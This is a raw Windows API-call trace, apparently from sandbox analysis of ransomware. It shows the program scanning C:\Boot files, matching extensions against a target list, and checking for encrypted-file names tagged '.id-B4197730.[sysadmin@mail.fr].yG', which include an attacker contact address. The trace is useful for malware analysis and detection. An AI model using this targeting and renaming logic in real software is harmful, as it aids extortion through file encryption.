	[0179.126] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0179.126] lstrlenW (lpString=".ppt") returned 4
	[0179.126] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0179.126] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.126] lstrlenW (lpString=".zip") returned 4
	[0179.126] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0179.126] lstrlenW (lpString=".rar") returned 4
	[0179.126] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0179.126] lstrlenW (lpString=".bz2") returned 4
	[0179.126] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0179.126] lstrlenW (lpString=".7z") returned 3
	[0179.126] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0179.126] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.126] lstrlenW (lpString=".dbf") returned 4
	[0179.126] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0179.126] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.126] lstrlenW (lpString=".1cd") returned 4
	[0179.126] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0179.126] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0179.126] lstrlenW (lpString=".jpg") returned 4
	[0179.126] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0179.127] lstrcmpiW (lpString1=".LOG1", lpString2=".yG") returned -1
	[0179.127] lstrlenW (lpString="BCD.LOG1") returned 8
	[0179.127] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0179.128] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=0) returned 1
	[0179.128] CloseHandle (hObject=0x30c) returned 1
	[0179.132] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.132] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.132] lstrlenW (lpString=".doc") returned 4
	[0179.132] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0179.132] lstrlenW (lpString=".docx") returned 5
	[0179.132] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0179.133] lstrlenW (lpString=".pdf") returned 4
	[0179.133] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0179.133] lstrlenW (lpString=".xls") returned 4
	[0179.133] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0179.133] lstrlenW (lpString=".xlsx") returned 5
	[0179.133] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0179.133] lstrlenW (lpString=".ppt") returned 4
	[0179.133] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0179.133] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.133] lstrlenW (lpString=".zip") returned 4
	[0179.133] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0179.133] lstrlenW (lpString=".rar") returned 4
	[0179.133] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0179.133] lstrlenW (lpString=".bz2") returned 4
	[0179.133] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0179.133] lstrlenW (lpString=".7z") returned 3
	[0179.133] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0179.133] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.133] lstrlenW (lpString=".dbf") returned 4
	[0179.133] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0179.133] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.133] lstrlenW (lpString=".1cd") returned 4
	[0179.133] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0179.133] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.133] lstrlenW (lpString=".jpg") returned 4
	[0179.133] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0179.133] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.133] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.133] lstrlenW (lpString=".doc") returned 4
	[0179.134] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0179.134] lstrlenW (lpString=".docx") returned 5
	[0179.134] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0179.134] lstrlenW (lpString=".pdf") returned 4
	[0179.134] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0179.134] lstrlenW (lpString=".xls") returned 4
	[0179.134] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0179.134] lstrlenW (lpString=".xlsx") returned 5
	[0179.134] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0179.134] lstrlenW (lpString=".ppt") returned 4
	[0179.134] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0179.134] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.134] lstrlenW (lpString=".zip") returned 4
	[0179.134] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0179.134] lstrlenW (lpString=".rar") returned 4
	[0179.134] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0179.134] lstrlenW (lpString=".bz2") returned 4
	[0179.134] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0179.134] lstrlenW (lpString=".7z") returned 3
	[0179.134] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0179.134] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.134] lstrlenW (lpString=".dbf") returned 4
	[0179.134] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0179.134] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.134] lstrlenW (lpString=".1cd") returned 4
	[0179.134] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0179.134] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0179.134] lstrlenW (lpString=".jpg") returned 4
	[0179.134] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0179.135] lstrcmpiW (lpString1=".LOG2", lpString2=".yG") returned -1
	[0179.135] lstrlenW (lpString="BCD.LOG2") returned 8
	[0179.135] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0179.135] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=0) returned 1
	[0179.135] CloseHandle (hObject=0x30c) returned 1
	[0179.135] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.135] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.135] lstrlenW (lpString=".doc") returned 4
	[0179.135] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0179.136] lstrlenW (lpString=".docx") returned 5
	[0179.136] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0179.136] lstrlenW (lpString=".pdf") returned 4
	[0179.136] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0179.136] lstrlenW (lpString=".xls") returned 4
	[0179.136] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0179.136] lstrlenW (lpString=".xlsx") returned 5
	[0179.136] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0179.136] lstrlenW (lpString=".ppt") returned 4
	[0179.136] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0179.136] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.136] lstrlenW (lpString=".zip") returned 4
	[0179.136] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0179.136] lstrlenW (lpString=".rar") returned 4
	[0179.136] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0179.136] lstrlenW (lpString=".bz2") returned 4
	[0179.136] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0179.136] lstrlenW (lpString=".7z") returned 3
	[0179.136] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0179.136] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.136] lstrlenW (lpString=".dbf") returned 4
	[0179.136] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0179.136] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.136] lstrlenW (lpString=".1cd") returned 4
	[0179.136] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0179.137] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.137] lstrlenW (lpString=".jpg") returned 4
	[0179.137] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0179.137] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.137] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.137] lstrlenW (lpString=".doc") returned 4
	[0179.137] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0179.137] lstrlenW (lpString=".docx") returned 5
	[0179.137] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0179.137] lstrlenW (lpString=".pdf") returned 4
	[0179.137] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0179.137] lstrlenW (lpString=".xls") returned 4
	[0179.137] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0179.137] lstrlenW (lpString=".xlsx") returned 5
	[0179.137] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0179.137] lstrlenW (lpString=".ppt") returned 4
	[0179.137] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0179.137] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.137] lstrlenW (lpString=".zip") returned 4
	[0179.137] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0179.137] lstrlenW (lpString=".rar") returned 4
	[0179.137] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0179.137] lstrlenW (lpString=".bz2") returned 4
	[0179.137] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0179.137] lstrlenW (lpString=".7z") returned 3
	[0179.138] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0179.138] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.138] lstrlenW (lpString=".dbf") returned 4
	[0179.138] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0179.138] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.138] lstrlenW (lpString=".1cd") returned 4
	[0179.138] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0179.138] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0179.138] lstrlenW (lpString=".jpg") returned 4
	[0179.138] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0179.138] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0179.138] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0179.138] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0179.139] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=77664) returned 1
	[0179.139] CloseHandle (hObject=0x30c) returned 1
	[0179.139] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0179.139] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.139] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.139] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.139] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.139] lstrlenW (lpString=".doc") returned 4
	[0179.139] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.139] lstrlenW (lpString=".docx") returned 5
	[0179.139] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.139] lstrlenW (lpString=".pdf") returned 4
	[0179.139] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.139] lstrlenW (lpString=".xls") returned 4
	[0179.139] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.139] lstrlenW (lpString=".xlsx") returned 5
	[0179.139] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.139] lstrlenW (lpString=".ppt") returned 4
	[0179.139] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.140] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.140] lstrlenW (lpString=".zip") returned 4
	[0179.140] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.140] lstrlenW (lpString=".rar") returned 4
	[0179.140] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.140] lstrlenW (lpString=".bz2") returned 4
	[0179.140] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.140] lstrlenW (lpString=".7z") returned 3
	[0179.140] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.140] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.140] lstrlenW (lpString=".dbf") returned 4
	[0179.140] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.140] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.140] lstrlenW (lpString=".1cd") returned 4
	[0179.140] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.140] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.140] lstrlenW (lpString=".jpg") returned 4
	[0179.140] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.140] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.140] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.140] lstrlenW (lpString=".doc") returned 4
	[0179.141] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.141] lstrlenW (lpString=".docx") returned 5
	[0179.141] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0179.141] lstrlenW (lpString=".pdf") returned 4
	[0179.141] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0179.141] lstrlenW (lpString=".xls") returned 4
	[0179.141] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0179.141] lstrlenW (lpString=".xlsx") returned 5
	[0179.141] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0179.141] lstrlenW (lpString=".ppt") returned 4
	[0179.141] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.141] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.141] lstrlenW (lpString=".zip") returned 4
	[0179.141] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0179.141] lstrlenW (lpString=".rar") returned 4
	[0179.141] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.141] lstrlenW (lpString=".bz2") returned 4
	[0179.141] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.141] lstrlenW (lpString=".7z") returned 3
	[0179.141] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.141] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.141] lstrlenW (lpString=".dbf") returned 4
	[0179.141] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.141] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.141] lstrlenW (lpString=".1cd") returned 4
	[0179.141] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.141] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0179.141] lstrlenW (lpString=".jpg") returned 4
	[0179.141] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.142] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0179.142] lstrlenW (lpString="bootspaces.dll") returned 14
	[0179.142] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0179.143] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=95648) returned 1
	[0179.143] CloseHandle (hObject=0x30c) returned 1
	[0179.143] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0179.143] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.143] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.144] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.144] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.144] lstrlenW (lpString=".doc") returned 4
	[0179.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.144] lstrlenW (lpString=".docx") returned 5
	[0179.144] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0179.144] lstrlenW (lpString=".pdf") returned 4
	[0179.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.144] lstrlenW (lpString=".xls") returned 4
	[0179.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.144] lstrlenW (lpString=".xlsx") returned 5
	[0179.145] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0179.145] lstrlenW (lpString=".ppt") returned 4
	[0179.145] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.145] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.145] lstrlenW (lpString=".zip") returned 4
	[0179.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.145] lstrlenW (lpString=".rar") returned 4
	[0179.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.145] lstrlenW (lpString=".bz2") returned 4
	[0179.145] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.145] lstrlenW (lpString=".7z") returned 3
	[0179.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.145] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.145] lstrlenW (lpString=".dbf") returned 4
	[0179.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.145] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.145] lstrlenW (lpString=".1cd") returned 4
	[0179.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.145] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.146] lstrlenW (lpString=".jpg") returned 4
	[0179.146] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.146] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.146] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.146] lstrlenW (lpString=".doc") returned 4
	[0179.146] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.146] lstrlenW (lpString=".docx") returned 5
	[0179.146] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0179.146] lstrlenW (lpString=".pdf") returned 4
	[0179.146] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.146] lstrlenW (lpString=".xls") returned 4
	[0179.146] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.146] lstrlenW (lpString=".xlsx") returned 5
	[0179.146] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0179.146] lstrlenW (lpString=".ppt") returned 4
	[0179.146] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.146] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.146] lstrlenW (lpString=".zip") returned 4
	[0179.146] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.146] lstrlenW (lpString=".rar") returned 4
	[0179.147] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.147] lstrlenW (lpString=".bz2") returned 4
	[0179.147] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.147] lstrlenW (lpString=".7z") returned 3
	[0179.147] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.147] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.147] lstrlenW (lpString=".dbf") returned 4
	[0179.147] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.147] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.147] lstrlenW (lpString=".1cd") returned 4
	[0179.147] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.147] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0179.147] lstrlenW (lpString=".jpg") returned 4
	[0179.147] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.147] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0179.147] lstrlenW (lpString="bootvhd.dll") returned 11
	[0179.147] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0179.148] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=99744) returned 1
	[0179.148] CloseHandle (hObject=0x30c) returned 1
	[0179.148] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0179.148] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.148] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.148] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.148] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.148] lstrlenW (lpString=".doc") returned 4
	[0179.148] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.148] lstrlenW (lpString=".docx") returned 5
	[0179.148] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0179.148] lstrlenW (lpString=".pdf") returned 4
	[0179.148] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.148] lstrlenW (lpString=".xls") returned 4
	[0179.148] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.148] lstrlenW (lpString=".xlsx") returned 5
	[0179.149] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0179.149] lstrlenW (lpString=".ppt") returned 4
	[0179.149] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.149] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.149] lstrlenW (lpString=".zip") returned 4
	[0179.149] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.149] lstrlenW (lpString=".rar") returned 4
	[0179.149] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.149] lstrlenW (lpString=".bz2") returned 4
	[0179.149] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.149] lstrlenW (lpString=".7z") returned 3
	[0179.149] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.149] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.149] lstrlenW (lpString=".dbf") returned 4
	[0179.149] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.149] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.149] lstrlenW (lpString=".1cd") returned 4
	[0179.149] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.149] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.149] lstrlenW (lpString=".jpg") returned 4
	[0179.149] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.149] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.149] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.149] lstrlenW (lpString=".doc") returned 4
	[0179.149] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.149] lstrlenW (lpString=".docx") returned 5
	[0179.149] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0179.149] lstrlenW (lpString=".pdf") returned 4
	[0179.150] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.150] lstrlenW (lpString=".xls") returned 4
	[0179.150] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.150] lstrlenW (lpString=".xlsx") returned 5
	[0179.150] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0179.150] lstrlenW (lpString=".ppt") returned 4
	[0179.150] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.150] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.150] lstrlenW (lpString=".zip") returned 4
	[0179.150] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.150] lstrlenW (lpString=".rar") returned 4
	[0179.150] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.150] lstrlenW (lpString=".bz2") returned 4
	[0179.150] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.150] lstrlenW (lpString=".7z") returned 3
	[0179.150] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.150] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.150] lstrlenW (lpString=".dbf") returned 4
	[0179.150] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.150] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.150] lstrlenW (lpString=".1cd") returned 4
	[0179.150] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.150] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0179.150] lstrlenW (lpString=".jpg") returned 4
	[0179.150] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.151] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0179.151] lstrlenW (lpString="bootmgr.exe.mui") returned 15
